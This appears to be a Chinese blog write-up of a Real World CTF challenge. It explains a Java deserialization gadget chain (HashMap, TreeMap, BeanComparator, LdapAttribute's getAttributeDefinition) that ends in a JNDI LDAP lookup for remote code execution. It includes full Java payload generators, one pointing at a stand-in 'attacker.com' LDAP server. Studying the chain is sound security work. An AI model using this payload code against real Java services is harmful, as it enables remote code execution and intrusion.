Real Wolrd CTF Old System New Getter Jndi Gadget

昨天晚上看了长亭的一篇 Real Wolrd CTF 3rd Writeup | Old System 推文,觉得很有意思,自己研究下。

挖掘过程

概述: 从HashMap触发TreeMap的get()从而进入到compare()。

web.xml中声明了servlet路由,在其代码中进行了反序列化

this.appClassLoader 将反序列化能用的类限制在jdk标准库和classpath中。

其中cc库为2.1没有InvokerTransformer或InstantiateTransformer。

cc库走不通,看cb库 org.apache.commons.beanutils.BeanComparator ,很明显可以调用任意对象的getter方法。

在yso中是使用 PriorityQueue 来自动进入compare方法中,而目标环境是jdk1.4,没有 PriorityQueue 类。低版本的jdk肯定有对 PriorityQueue 自动排序队列的另一种实现,即如下调用栈

1java.util.HashMap#readObject
2java.util.HashMap#putForCreate
3java.util.HashMap#eq
4java.util.AbstractMap#equals
5java.util.TreeMap#get
6java.util.TreeMap#getEntry
7            org.apache.commons.beanutils.BeanComparator#compare

通过TreeMap的get()方法触发getEntry()从而触发compare()

我这里使用的是jdk1.8的代码,大差不差最后都能触发compare()。那么现在的关键点就在于如何触发TreeMap.get()。

在HashMap反序列化时会调用到 putForCreate() 图来自原文

putForCreate用于判断hash是否一致,可以通过构造值一样但引用地址不一样的两个对象来解决。

1TreeMap treeMap1 = new TreeMap(comparator);
2treeMap1.put(payloadObject, "aaa");
3TreeMap treeMap2 = new TreeMap(comparator);
4treeMap2.put(payloadObject, "aaa");
5HashMap hashMap = new HashMap();
6hashMap.put(treeMap1, "bbb");
7hashMap.put(treeMap2, "ccc");

这样就完成了从反序列化入口 readObject()BeanComparator.compare() 的调用。

现在的问题就是找到RCE的最终点。而在 org.apache.commons.beanutils.BeanComparator 中是可以调用任意getter方法的,通过 PropertyUtils.getProperty()

TemplatesImplJdbcRowSetImpl 在jdk1.4的版本里都是没有的。作者挖到了一条新链,直接贴调用栈

1com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
2-> javax.naming.directory.InitialDirContext#getSchema(javax.naming.Name)
3-> com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#getSchema(javax.naming.Name)
4-> com.sun.jndi.toolkit.ctx.ComponentDirContext#p_getSchema
5-> com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate
6-> com.sun.jndi.toolkit.ctx.AtomicContext#c_resolveIntermediate_nns
7-> com.sun.jndi.toolkit.ctx.ComponentContext#c_resolveIntermediate_nns
8-> com.sun.jndi.ldap.LdapCtx#c_lookup
9-> RCE

贴一下图,通过传入property为 attributeDefinition 来触发 com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition ,而在这个类的调用过程中进行了lookup()。

这里直接跳转lookup的底层实现进行jndi查询。

POC

不仅仅适用于jdk1.4,在1.8也测试成功。利用场景在 有任意的getter方法调用

CTF的题解payload

 1import org.apache.commons.beanutils.BeanComparator;
 2import javax.naming.CompositeName;
 3import java.io.FileOutputStream;
 4import java.io.ObjectOutputStream;
 5import java.lang.reflect.Constructor;
 6import java.lang.reflect.Field;
 7import java.util.HashMap;
 8import java.util.TreeMap;
 9public class PayloadGenerator {
10public static void main(String[] args) throws Exception {
11        String ldapCtxUrl = "ldap://attacker.com:1389";
12        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
13        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
14new Class[] {String.class});
15        ldapAttributeClazzConstructor.setAccessible(true);
16        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
17new Object[] {"name"});
18        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
19        baseCtxUrlField.setAccessible(true);
20        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
21        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
22        rdnField.setAccessible(true);
23        rdnField.set(ldapAttribute, new CompositeName("a//b"));
24// Generate payload
25        BeanComparator comparator = new BeanComparator("class");
26        TreeMap treeMap1 = new TreeMap(comparator);
27        treeMap1.put(ldapAttribute, "aaa");
28        TreeMap treeMap2 = new TreeMap(comparator);
29        treeMap2.put(ldapAttribute, "aaa");
30        HashMap hashMap = new HashMap();
31        hashMap.put(treeMap1, "bbb");
32        hashMap.put(treeMap2, "ccc");
33        Field propertyField = BeanComparator.class.getDeclaredField("property");
34        propertyField.setAccessible(true);
35        propertyField.set(comparator, "attributeDefinition");
36        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser"));
37        oos.writeObject(hashMap);
38        oos.close();
39    }
40}

在jdk1.8中可以用下面的,只构造了后半截,TreeMap的部分需要具体问题具体分析,只要可以调用 getAttributeDefinition 即可。

 1package com.test;
 2
 3import javax.naming.CompositeName;
 4import java.lang.reflect.Constructor;
 5import java.lang.reflect.Field;
 6import java.lang.reflect.Method;
 7
 8public class Main {
 9
10    public static void main(String[] args) {
11        try {
12            String ldapCtxUrl = "ldap://localhost:1389";
13            Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
14
15            Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
16                    new Class[]{String.class});
17            ldapAttributeClazzConstructor.setAccessible(true);
18            Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
19                    new Object[]{"name"});
20
21            Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
22            baseCtxUrlField.setAccessible(true);
23            baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
24
25            Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
26            rdnField.setAccessible(true);
27            rdnField.set(ldapAttribute, new CompositeName("a//b"));
28
29            Method getAttributeDefinitionMethod = ldapAttributeClazz.getMethod("getAttributeDefinition", new Class[]{});
30            getAttributeDefinitionMethod.setAccessible(true);
31            getAttributeDefinitionMethod.invoke(ldapAttribute, new Object[]{});
32        } catch (Exception e) {
33            e.printStackTrace();
34        }
35    }
36}

参考

  1. https://github.com/voidfyoo/rwctf-2021-old-system/tree/main/writeup
  2. https://ctftime.org/task/14500
  3. Real Wolrd CTF 3rd Writeup | Old System

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。